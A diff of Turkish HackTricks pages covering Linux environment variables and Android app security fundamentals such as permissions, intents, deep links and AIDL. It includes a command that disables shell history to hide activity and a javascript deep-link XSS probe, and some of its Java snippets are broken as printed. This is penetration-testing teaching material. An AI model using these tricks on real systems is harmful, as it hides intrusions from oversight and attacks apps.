Bu değişkenin değerini 0 olarak değiştirin, böylece **oturumunuzu sonlandırdığınızda** herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenmeyecektir.
Bu değişkenin değerini 0 olarak değiştirin, böylece oturumunuzu sonlandırdığınızda herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenmeyecektir.
```bash
export HISTSIZE=0
```
### http\_proxy & https\_proxy
İşlemler, internete bağlanmak için burada belirtilen **proxy**'yi kullanacak. Bu proxy, **http veya https** üzerinden bağlantı kurmak için kullanılır.
İşlemler, internete bağlanmak için burada belirtilen **proxy**'yi kullanacaktır, **http veya https** üzerinden.
```bash
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
### SSL_CERT_FILE & SSL_CERT_DIR
Bu ortam değişkenlerinde belirtilen sertifikaları işlemler güvenecektir.
**Bu çevre değişkenlerinde** belirtilen sertifikalara işlemler güvenecektir.
```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates
```
### PS1
Prompt görünümünü nasıl değiştireceğinizi öğrenin.
Prompt'unuzu nasıl göründüğünü değiştirin.
[**Bu bir örnektir**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
@ -117,24 +121,30 @@ Normal kullanıcı:
![](<../.gitbook/assets/image (88).png>)
Bir, iki ve üç arka planda çalışan iş:
Bir, iki ve üç arka planda çalışan işler:
![](<../.gitbook/assets/image (89).png>)
Bir arka planda çalışan iş, bir durdurulan iş ve son komut doğru şekilde tamamlanmadı:
Bir arka planda çalışan iş, bir durdurulan iş ve son komut doğru bir şekilde tamamlanmadı:
![](<../.gitbook/assets/image (90).png>)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Şirketinizi **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
@ -10,16 +10,24 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Android Güvenlik Modeli
**İki katman bulunmaktadır:**
* **İşletim Sistemi (OS)**, yüklenmiş uygulamaları birbirinden izole eder.
* **Uygulama kendisi**, geliştiricilere **belirli işlevleri açığa çıkarma** ve uygulama yeteneklerini yapılandırma imkanı sağlar.
* **İşletim Sistemi (OS)**, yüklü uygulamaları birbirinden izole eder.
* **Uygulama kendisi**, geliştiricilere **belirli işlevleri açığa çıkarma** ve uygulama yeteneklerini yapılandırma olanağı sağlar.
### UID Ayrımı
@ -32,37 +40,37 @@ HackTricks'ı desteklemenin diğer yolları:
### Kum Sandığı (Sandboxing)
**Android Uygulama Kum Sandığı**, **her uygulamayı** ayrı bir işlem olarak **ayrı bir kullanıcı kimliği altında çalıştırmayı** sağlar. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
**Android Uygulama Kum Sandığı**, **her uygulamayı** ayrı bir işlem olarak çalıştırmaya olanak tanır ve her birine ayrı bir kullanıcı kimliği atar. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**.
### İzinler
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durdurur.\
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu, belirtilenden daha yüksek sürümlerde izin istemeyi durdurur.\
Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak da isteyebilirler** ancak tüm izinler **manifestte belirtilmelidir**.
Bir uygulama işlevselliğiığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\
Bir uygulama işlevsellikığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\
Bir izin öğesinin üç özelliği vardır:
* İzinin **adı**
* İzin grubu **özniteliği**, ilgili izinleri gruplandırmayı sağlar.
* İzinlerin nasıl verildiğini belirten **koruma düzeyi**. Dört tür vardır:
* **Normal**: Uygulamaya **bilinen tehditler olmadığında** kullanılır. Kullanıcının **onaylaması gerekmez**.
* İzin grubu özniteliği, ilgili izinleri gruplandırmayı sağlar.
* İzin seviyesi, izinlerin nasıl verildiğini belirten öznitelik. Dört tür vardır:
* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onaylaması gerekmez**.
* **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişim** sağladığını belirtir. **Kullanıcıların onayını talep eder**.
* **Signature**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalar** izin verilebilir. Bu, en güçlü koruma türüdür.
* **Signature**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalar** izin verilebilir. Bu en güçlü koruma türüdür.
* **SignatureOrSystem**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalar** veya **sistem düzeyinde erişimle çalışan uygulamalar** izin verilebilir
## Ön Yüklü Uygulamalar
Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen **çok fazla izinle çalışırlar** (kök olarak).
Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen **çok fazla izinle çalışıyor olabilirler** (kök olarak).
* **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gönderilenler
* Cihaz **üreticisi** tarafından eklenenler
* Cep telefonu sağlayıcısı tarafından eklenenler (onlardan satın alındıysa)
* Cep **telefonu sağlayıcısı** tarafından eklenenler (onlardan satın alındıysa)
## Rootlama
Fiziksel bir Android cihaza kök erişim elde etmek için genellikle cihaza ve sürüme **özgü** olan 1 veya 2 **zafiyeti sömürmeniz gerekir**.\
Sömürü işe yaradığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır.
Sömürü çalıştığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır.
`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve kök erişim taleplerini işlemek için kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur).
@ -75,11 +83,11 @@ Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\
**OmniROM** ve **LineageOS**, kullanılan en popüler yazılımlardan ikisidir.
Cihazın **rootlanması her zaman gerekli değildir**. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmaya izin verir.
Cihazın **rootlanması her zaman gerekli olmayabilir**. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmaya izin verir.
### Etkiler
Bir cihaz rootlandığında, herhangi bir uygulama kök erişimini isteyebilir. Kötü niyetli bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir.
Bir cihaz rootlandığında, herhangi bir uygulama kök erişimini isteyebilir. Kötü amaçlı bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir.
## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
@ -87,38 +95,38 @@ Bir cihaz rootlandığında, herhangi bir uygulama kök erişimini isteyebilir.
- APK İçeriği (Eksiksiz Değil)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: derlenmiş kaynakları, biner XML gibi içeren.
- resources.arsc: derlenmiş kaynakları, ikili XML gibi içeren.
- res/xml/files\_paths.xml
- META-INF/
- Sertifika burada bulunur!
- **classes.dex**
- Varsayılan olarak uygulamanın yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir.
- lib/
- CPU mimarisine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır.
- CPU mimarilerine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır.
- `armeabi`: ARM tabanlı işlemciler için kod
- `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod
- `x86`: X86 işlemciler için kod
- `mips`: Yalnızca MIPS işlemciler için kod
- assets/
- Uygulama tarafından gereken çeşitli dosyaları saklar, ek kodları gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek native kütüphaneleri veya DEX dosyalarını içerebilir.
- Uygulama tarafından gereken çeşitli dosyaları saklar, ek kodları gizlemek için bazen kötü amaçlı yazılım yazarları tarafından kullanılan ek native kütüpheler veya DEX dosyalarını içerebilir.
- res/
- Derlenmiş olmayan kaynakları içerir.
- resources.arsc'ye derlenmeyen kaynakları içerir.
### **Dalvik ve Smali**
Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanılmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi, Android Runtime (ART) daha yeni Android sürümlerinde devralır.
Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi, Android Runtime (ART) daha yeni Android sürümlerinde devralır.
Tersine mühendislik için, **Smali** hayati öneme sahiptir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder.
Tersine mühendislik için **Smali** hayati hale gelir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder.
## İntentler
İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yoludur. Bu mesaj nesneleri aynı zamanda uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişiminde kullanılan GET/POST istekleri gibi.
İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yollarıdır. Bu mesaj nesneleri aynı zamanda veri taşıyabilir ve uygulamalar arasında veya bileşenler arasında GET/POST isteklerinin HTTP iletişiminde nasıl kullanıldığına benzer şekilde veri taşıyabilir.
Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\
Basitçe İntent şunlar için kullanılabilir:
* Bir Etkinliği başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açma
* Sistem ve uygulamalara değişiklikleri bildirmek için yayınlar olarak
* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak için
* Bir Etkinliği başlatmak için, genellikle bir uygulama için bir kullanıcı arayüzü açma
* Değişiklikleri sistem ve uygulamalara bildirmek için yayınlar olarak
* Arkaplan hizmeti başlatmak, durdurmak ve iletişim kurmak için
* ContentProvider'lar aracılığıyla veriye erişmek için
* Olayları işlemek için geri çağrılar olarak
@ -126,13 +134,13 @@ Eğer zayıfsa, **İntentler çeşitli saldırıları gerçekleştirmek için ku
### İntent-Filtre
**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşime geçebileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** içindedir, ancak Yayın Alıcıları için bunları kodlamak da bir seçenektir.
**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşimde bulunabileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** içindedir, ancak Yayın Alıcıları için bunları kodlamak da bir seçenektir.
İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, belirtilen kriterleri karşılayan belirli İntent'leri işlemek için bileşenlere izin verir.
Android bileşenlerinin (etkinlikler/hizmetler/içerik sağlayıcılar/yayın alıcıları) kritik bir yönü, görünürlükleri veya **genel durumları**dır. Bir bileşen, manifestte **`true`** bir değerle **`exported`** olarak ayarlanmışsa veya için bir İntent Filtresi bildirilmişse, diğer uygulamalarla etkileşime girebilir. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutmaları bir yol vardır. Bu, manifest tanımlarında **`exported`** özniteliğini **`false`** olarak ayarlayarak başarılır.
Android bileşenlerinin (etkinlikler/hizmetler/içerik sağlayıcılar/yayın alıcılar) kritik bir yönü, görünürlükleri veya **genel durumları**dır. Bir bileşen, **`true`** bir değerle **`exported`** olarak ayarlanmışsa veya manifestte için bir İntent Filtresi belirtilmişse, diğer uygulamalarla etkileşime girebilir. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutmaları bir yol vardır. Bu, manifest tanımlarında **`exported`** özniteliğini **`false`** olarak ayarlayarak başarılır.
Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebilmesini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir.
Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebileceğini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -144,9 +152,9 @@ Intentler, bir Intent yapıcısı kullanılarak programatik olarak oluşturulur:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Eylem** önceden belirtilen niyetin **ACTION\_SEND** ve **Ekstra**'sı bir mailto **Uri**'dir (Ekstra, niyetin beklediği ek bilgidir).
**Eylem** olarak önceden belirtilen niyetin **ACTION\_SEND** ve **Ekstra**'sı bir mailto **Uri**'dir (Ekstra, niyetin beklediği ekstra bilgidir).
Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belirtilmelidir:
Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde bildirilmelidir:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -157,7 +165,7 @@ Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belir
```
Bir intent-filtresinin bir mesajı alabilmesi için **action**, **data** ve **category**'nin eşleşmesi gerekir.
"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu öncelik, **intent-filtresi bildiriminde** ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilecektir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, bir "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**.
"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu özellik i**ntent-filtresi bildiriminde** ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** oluşursa, "seçici" penceresi görünür, böylece **kullanıcı karar verebilir**.
### Açık İntentler
@ -165,7 +173,7 @@ Açık bir intent, hedeflediği sınıf adını belirtir:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
Diğer uygulamalarda önceden belirtilen niyete erişmek için şunu kullanabilirsiniz:
Diğer uygulamalarda önceden belirtilen niyeti erişmek için şunu kullanabilirsiniz:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
@ -173,7 +181,7 @@ context.startService(intent);
```
### Bekleyen İzinler
Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen bir İzin oluştururken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama kurban adına **herhangi bir eylemi gerçekleştirebilir**.
Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen İzin oluşturulurken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama kurban adına **herhangi bir eylem yapabilir**.
### Yayın İzinleri
@ -181,24 +189,24 @@ Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin v
Alternatif olarak, yayın gönderirken **bir izin belirtmek de mümkündür**. Alıcı uygulamanın o izne sahip olması gerekecektir.
İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıralama**, alıcı içinde **ayarlanmış önceliğe** dayanır. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**.
İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıra**, **alıcı içinde yapılandırılmış önceliğe** göre belirlenir. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**.
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanarak bir yayın göndermek mümkündür.\
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamayı terk etmemesini** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamadan çıkmamasını** sağlayabilirsiniz. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
### Kalıcı Yayınlar
Bu tür Yayınlar **gönderildikten uzun bir süre sonra erişilebilir**.\
Bu, API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmaması önerilir**.\
Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
Bunlar API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmamaları önerilir**.\
**Herhangi bir uygulamanın verileri izlemesine ve değiştirmesine izin verirler**.
Eğer **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`** gibi "sticky" kelimesini içeren işlevler bulursanız, **etkisini kontrol edin ve bunları kaldırmayı deneyin**.
Eğer **"sticky"** kelimesini içeren işlevler bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmayı deneyin**.
## Derin Bağlantılar / URL şemaları
Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğrudan bir eylemi (Niyet) başlatmak için kullanılır. Bu, bir etkinlik içinde belirli bir **URL şemasının** bildirilmesiyle yapılır. Bir Android cihazı, bu şemayla bir URL'ye **erişmeye çalıştığında**, uygulama içinde belirtilen etkinlik başlatılır.
Şema, **`AndroidManifest.xml`** dosyasında bildirilmelidir:
Şema, **`AndroidManifest.xml`** dosyasında belirtilmelidir:
```xml
[...]
<activity android:name=".MyActivity">
@ -218,26 +226,26 @@ Ardından, veri alanında **ana bilgisayar (host)** ve **yol (path)** belirtebil
android:host="example"
/>
```
Web'den erişmek için bir bağlantı kurmak mümkündür:
Web'den erişmek için bir bağlantı belirlemek mümkündür:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
**Uygulamada yürütülecek kodu bulmak** için deeplink tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
HTML sayfaları kullanmadan [derin bağlantıları nasıl çağıracağınızı](./#exploiting-schemes-deep-links) öğrenin.
[HTML sayfaları kullanmadan derin bağlantıları nasıl çağıracağınızı](./#exploiting-schemes-deep-links) öğrenin.
## AIDL - Android Arayüz Tanım Dili
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi **arama süreci ile kolaylaştırmak** için tasarlanmıştır. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi nesneleri işletim sistemi tarafından anlaşılan bir formata dönüştürerek farklı işlemler arasında iletişimi kolaylaştırır.
**Android Arayüz Tanım Dili (AIDL)**, Android uygulamalarında istemci ve hizmet arasındaki iletişimi kolaylaştırmak amacıyla tasarlanmıştır ve **işlem arası iletişim** (IPC) yoluyla gerçekleştirilir. Android'de başka bir işlemin belleğine doğrudan erişim izin verilmediğinden, AIDL işlemi nesneleri işletim sistemi tarafından anlaşılabilen bir formata dönüştürerek farklı işlemler arasında iletişimi kolaylaştırır.
### Temel Kavramlar
- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve aktivitelerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları aramak için önemli bir alanı işaretler.
- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve aktivitelerin veya bileşenlerin bir hizmete bağlanmasını, istekte bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları aramak için önemli bir alanı işaretler.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, verilerin `onBind` yöntemi aracılığıyla işlenmesine odaklanarak IPC'yi kolaylaştırır. Bu yöntemi güvenli olmayan veri işleme veya hassas fonksiyonların yürütülmesi açısından yakından incelemek önemlidir.
- **Binder**: Binder sınıfının doğrudan kullanımı AIDL'nin soyutlaması nedeniyle daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresinde bulunmaktadır.
- **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek seviye sürücü olarak hareket ettiğini anlamak faydalıdır. Daha fazla anlayış için bir kaynak [burada](https://www.youtube.com/watch?v=O-UHvFjxwZ8) bulunmaktadır.
## Bileşenler
@ -256,19 +264,21 @@ Android uygulamalarında **aktiviteler**, uygulamanın kullanıcı arayüzünün
</intent-filter>
</activity>
```
### Bazı uygulamaların, arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar da dahil olmak üzere bir başlatıcı etkinliğine ihtiyacı olmayabilir.
## Android Uygulamaları Temelleri
### Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalar veya işlemler için kullanılabilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir:
Bazı uygulamaların, arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar da dahil olmak üzere, bir başlatıcı etkinliğine ihtiyacı olmayabilir.
Etkinlikler, manifest dosyasında "ihraç edilmiş" olarak işaretlenerek diğer uygulamalar veya işlemler için erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Ancak, bir uygulamadan diğer bir uygulamaya bir etkinliğe erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntısına yol açabilir.
